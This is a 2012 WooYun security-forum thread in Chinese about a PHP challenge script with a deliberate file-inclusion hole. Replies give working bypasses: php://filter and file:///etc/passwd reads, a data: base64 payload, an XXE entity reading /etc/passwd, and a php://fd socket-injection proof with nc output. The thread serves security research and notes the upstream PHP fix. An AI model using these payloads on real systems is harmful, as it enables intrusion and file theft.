当前位置:WooYun(白帽子技术社区) >> php >> 一个php安全挑战

一个php安全挑战

xsser (十根阳具有长短!!) | 2012-05-14 16:26

http://pastebin.com/hUcNJ1nr

<?php

/* Another PHP Security Challenge */
/* Title: Resurrection of a Vulnerability Class */

/* Exploit this and send your solution to [email protected] */

/* Assume the following: */
/*  - latest PHP 5.4.3 */
/*  - running as Apache 2 module */
/*  - disabled_functions = "" */
/*  - open_basedir is set to the current directory */
/*  - there is no writable directory reachable for the user Apache runs as */
/*  - don't make assumption about existing files */

/* Task: Execute e.g. phpinfo() */

$cfg = ini_get("allow_url_include");
if ($cfg !== "0" && $cfg !== "") {
        die("Insecure server configuration");
}

if (isset($_GET['action'])) {
        $action = $_GET['action'];
} else {
        die("No action supplied...");
}

if ($action[0] == '/' || $action[0] == '\\' || strpos($action, "..") !== FALSE) {
        die("File inclusion attack blocked...");
}

include $action;

?>

分享到:
  1. 1#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-05-14 16:28

    注意:
    /*open_basedir is set to the current directory */
    /*  - there is no writable directory reachable for the user Apache runs as */
    /*  - don't make assumption about existing files */

  2. 2#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-05-14 16:42

    include "php://input";  可以么?

  3. 3#
    回复此人 感谢
    GaRY | 2012-05-14 17:04

    @xsser http://cn2.php.net/manual/en/wrappers.php.php  allow_url_include限制了的,不过他没限制全,php://filter/resource=/etc/passwd 这样的就可以绕。

    其实,最简单的是file:///etc/passwd   - -

  4. 4#
    回复此人 感谢
    GaRY | 2012-05-14 17:06

    但是RFI还是不可以,貌似目前想到的还是LFI。各位谁有更好的思路?

  5. 5#
    回复此人 感谢
    livers (如梦似幻) | 2012-05-14 17:07

    @xsser hey,  input read post streaming  not get!

  6. 6#
    回复此人 感谢
    livers (如梦似幻) | 2012-05-14 17:08

    @xsser 看错了,应该是可以的

  7. 7#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-05-14 17:10

    注意open_basedir的限制,也不能读已经存在的文件

  8. 8#
    回复此人 感谢
    youstar (admin) | 2012-05-16 10:07

    最开始想到的也是php://input,暂无idea

  9. 9#
    回复此人 感谢
    pentest | 2012-05-16 10:26

    估计是还有其他的类似wrapper可以使用

  10. 10#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-05-16 13:09

    似乎答案就是php://fd/xxxx :)

  11. 11#
    回复此人 感谢
    fly@wolvez | 2012-05-17 17:02

    考古一下
    http://packetstormsecurity.org/files/51226/php-fd.txt.html

    看到描述 This bug makes PHP File Include  vulnerabilities more dangerous.

  12. 12#
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-05-17 23:04

    都是PHP高手。。 路过学习。  

  13. 13#
    回复此人 感谢
    Jannock (what?) | 2012-05-18 08:36

    there is no writable directory reachable for the user Apache runs as

    在allow_url_include = On 的条件下
    include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";

    不然就似乎是 php://input

  14. 14#
    回复此人 感谢
    GaRY | 2012-05-18 17:57

    https://github.com/php/php-src/commit/de26b5561f573ffaf9ba079084810fb927bc2099


    php官方直接修掉了,响应还是很及时的

  15. 15#
    回复此人 感谢
    GaRY | 2012-06-29 18:55

    这个挑战很久了,我这里记录一下当时的结果,免得忘记,以下是和黑哥一起测试时候给出的结论:

    heige@ubuntu:~/exp$ nc 127.0.0.1 80
    GET /aa.php?a=php://fd/11 HTTP/1.0

    <?php echo(1111);?>


    HTTP/1.1 200 OK
    Date: Wed, 16 May 2012 08:43:58 GMT
    Server: Apache/2.2.22 (Ubuntu)
    X-Powered-By: PHP/5.3.10-1ubuntu3.1
    Vary: Accept-Encoding
    Content-Length: 383
    Connection: close
    Content-Type: text/html

    /dev/nullfd num:0
    /dev/nullfd num:1
    /var/log/apache2/error.logfd num:2
    socket:[370666]fd num:3
    pipe:[370673]fd num:4
    pipe:[370673]fd num:5
    /var/log/apache2/other_vhosts_access.logfd num:6
    /var/log/apache2/access.logfd num:7
    /proc/12697/auxvfd num:8
    /tmp/ZCUDOkLQkd (deleted)fd num:9
    anon_inode:[eventpoll]fd num:10
    socket:[396915]fd num:11
    /proc/12706/fdfd num:12
    1111

    heige@ubuntu:~/exp$

    使用以上方法,在输入echo(1111)代码之后,需要等待很久(大约20秒-40秒),才能看到执行的结果。初步怀疑是php或者是socket的超时时间,然后才能进行下去。这里没有深究,希望有哪位可以解答。

    以下是这个php代码,注意前面那一堆只是为了让我能够找到那个nc连接80的socket。
    <?php
            // Find fd from /proc
            $dir = dir("/proc/self/fd");
            while (false !== ($e = $dir->read())) {
                    // Find socket inode in /proc/self/fd.
                if (is_link("/proc/self/fd/".$e) && $e != "." && $e != ".."){
                        print readlink("/proc/self/fd/".$e)."fd num:".$e."\r\n";
                }
           }
         include($_GET['a']);

  16. 16#
    回复此人 感谢
    Matt | 2012-06-29 19:07

    mark

  17. 17#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-07-07 22:51

    测试说明allow_url_include是关闭了的,依然可以爆出文件
       有没有关于
    <code>
    <!DOCTYPE foo [
    <!ELEMENT methodName ANY >
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd" >]></code>
    这一段更详细的说明?或者手册?
        我估计还有读取某个文件最后一段 或者指定行数的方法

  18. 18#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-07-08 06:38

    文件读取和文件包含是两回事

  19. 19#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-07-08 11:06

    @xsser 谢谢。。查了下是php5.2.0以后增加的新特性。。

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录